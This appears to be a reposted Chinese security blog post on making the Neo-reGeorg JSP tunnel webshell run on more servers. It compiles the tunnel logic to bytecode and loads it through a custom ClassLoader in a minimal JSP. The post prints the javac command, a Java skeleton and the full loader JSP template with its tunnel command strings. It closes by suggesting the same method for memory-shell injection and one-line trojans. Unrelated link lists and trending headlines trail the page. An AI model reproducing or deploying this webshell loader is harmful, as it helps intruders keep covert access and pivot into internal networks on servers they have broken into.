
通過加載class提高Neo-reGeorg兼容性
0x01 背景
一大早就看到L-codes
師傅發(fā)消息說,Neo-reGeorg jsp服務端又出現(xiàn)問題了,印象里已經(jīng)不是一兩次了。大部分都是兼容性問題,這次也不例外。
在tomcat 5.5.9下的報錯
是時候設(shè)計一個一勞永逸的方案了。
0x02 分析原因
我們知道jsp從被訪問到運行,經(jīng)歷如下階段。
jsp執(zhí)行流程
本案例中發(fā)現(xiàn)tomcat work目錄下已經(jīng)存在了tunnel_jsp.java
,但是沒有tunnel_jsp.class
,說明階段1已經(jīng)過。結(jié)合頁面報錯信息,在2階段時Tomcat內(nèi)置的編譯器JDTCompiler,編譯報錯了。
檢查tunnel_jsp.java
代碼并沒有語法錯誤,嘗試使用javac編譯,編譯成功!看來JDTCompiler與javac實現(xiàn)邏輯并不同,而且沒有javac強大。
javac可以編譯通過
編譯成功之后我再訪問tunnel.jsp頁面不再報錯了??梢娞岣咭粋€.jsp
的兼容,無非就是讓它在各個中間件下成功變成一個.class
。而這個過程與具體中間件的jsp轉(zhuǎn)換器
的解析機制,java編譯器
的編譯機制和servlet-api
的版本息息相關(guān)。
那么我們是不是可以把Neo-reGeorg的服務端代碼提取變成class字節(jié)碼,然后jsp來加載和調(diào)用,來提高這個過程的成功率呢?。總之核心思想就是把盡可能多的業(yè)務邏輯變成最終可運行的java字節(jié)碼,同時盡可能的減少jsp代碼,少用api少用語法糖少用特性。
0x03 編碼實現(xiàn)
我們先來移植服務端模版代碼為java代碼。直接新建一個NeoreGeorg.java
,將jsp中的方法直接copy,主體代碼的移植需要注意2個問題。
第一、參數(shù)提煉問題。我們需要把模版變化的地方,提取出來作為參數(shù),比如X-CMD
這樣的指令,POST request read filed
這樣的提示,Neo-reGorg需要通過隨機替換它們實現(xiàn)流量加密。
第二、參數(shù)傳遞問題。參數(shù)可以通過構(gòu)造方法或者自定義方法傳遞進來,但是這樣要多寫些反射代碼。本著jsp代碼越少越好原則,使用每個類都有的equal(java.lang.Object)
方法。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java
public class NeoreGeorg { private char[] en; private byte[] de; private int HTTPCODE; private int READBUF; private int MAXREADSIZE; @Override public boolean equals(Object obj) { // 接收參數(shù) Object[] args = (Object[]) obj; HttpServletRequest request = (HttpServletRequest) args[0]; HttpServletResponse response = (HttpServletResponse) args[1]; en = (char[])args[2]; de = (byte[])args[3]; HTTPCODE = (Integer) args[4]; READBUF = (Integer) args[5]; MAXREADSIZE = (Integer) args[6]; ServletContext application = request.getSession().getServletContext(); Writer out = response.getWriter(); ...... // Neo-reGorg主要流程代碼。 } .... //其他方法照抄 .... }
為了兼容更多的jdk版本我們這里選擇使用1.5編譯,同時為了class體積更小,可以使用-g:none
去掉調(diào)試信息。
1 javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java
jsp部分很簡單,定義一個classloader用于加載class,然后將該class newInstance進行調(diào)用。有二個點可以簡單講講。
第一,class字節(jié)碼的存儲方式問題。本著少用api的原則,我直接用byte數(shù)組存儲。當然如果字節(jié)碼太多,可能會有The code of method _jspService(...) is exceeding the 65535 bytes limit
報錯問題,推薦用hex編碼解決。
第二,全局存儲class對象問題。推薦使用application
對象,而不是session
對象進行存儲,否則遇到負載的情況就麻煩了。
// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp <%@ page import="sun.misc.BASE64Decoder" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %> <% Object[] args = new Object[]{ request, //0 response, //1 "BASE64 CHARSLIST".toCharArray(), //2 new byte[]{BASE64 ARRAYLIST},//3 new Integer(HTTPCODE),//4 new Integer(READBUF),//5 new Integer(MAXREADSIZE),//6 "X-STATUS",//7 "X-ERROR",//8 "X-CMD",//9 "X-TARGET",//10 "X-REDIRECTURL",//11 "FAIL",//12 "Georg says, 'All seems fine'",//13 "Failed creating socket",//14 "Failed connecting to target",//15 "OK",//16 "Failed writing socket",//17 "CONNECT",//18 "DISCONNECT",//19 "READ",//20 "FORWARD",//21 "Failed reading from socket",//22 "No more running, close now",//23 "POST request read filed",//24 "Intranet forwarding failed"//25 }; if(application.getAttribute("u") != null){ application.getAttribute("u").equals(args); }else{ byte[] classBytes = new byte[]{.....} // NeoreGeorg.class字節(jié)碼 Class clazz = new U(this.getClass().getClassLoader()).g(classBytes); application.setAttribute("u",clazz.newInstance()); } %>
經(jīng)過測試在各個中間件下穩(wěn)定運行,順手給L-codes師傅一個pr。
0x04 總結(jié)
其實這個方法可以使用很多jsp腳本的改造,比如內(nèi)存馬注入jsp,jsp大馬,蟻劍一句話木馬等等。大家可以照貓畫虎,自行修改。
[超站]友情鏈接:
四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
關(guān)注數(shù)據(jù)與安全,洞悉企業(yè)級服務市場:https://www.ijiandao.com/

隨時掌握互聯(lián)網(wǎng)精彩
- 1 中美完全可以相互成就、共同繁榮 7904340
- 2 加沙已變“死城” 7808495
- 3 暴雨中臺下只剩1名觀眾 演員仍開演 7714514
- 4 近距離感受“大國重器” 7616403
- 5 美國大豆中國訂單量仍為零 7521484
- 6 試管嬰兒患腎病 父母要求醫(yī)院擔全責 7427802
- 7 女子婚后起訴父母返還18萬彩禮 7330558
- 8 網(wǎng)紅“戶晨風”多平臺賬號被封 7237092
- 9 金價飆升 有非法淘金人井下生活兩年 7138914
- 10 澳大利亞緊急呼叫服務中斷致4死 7047281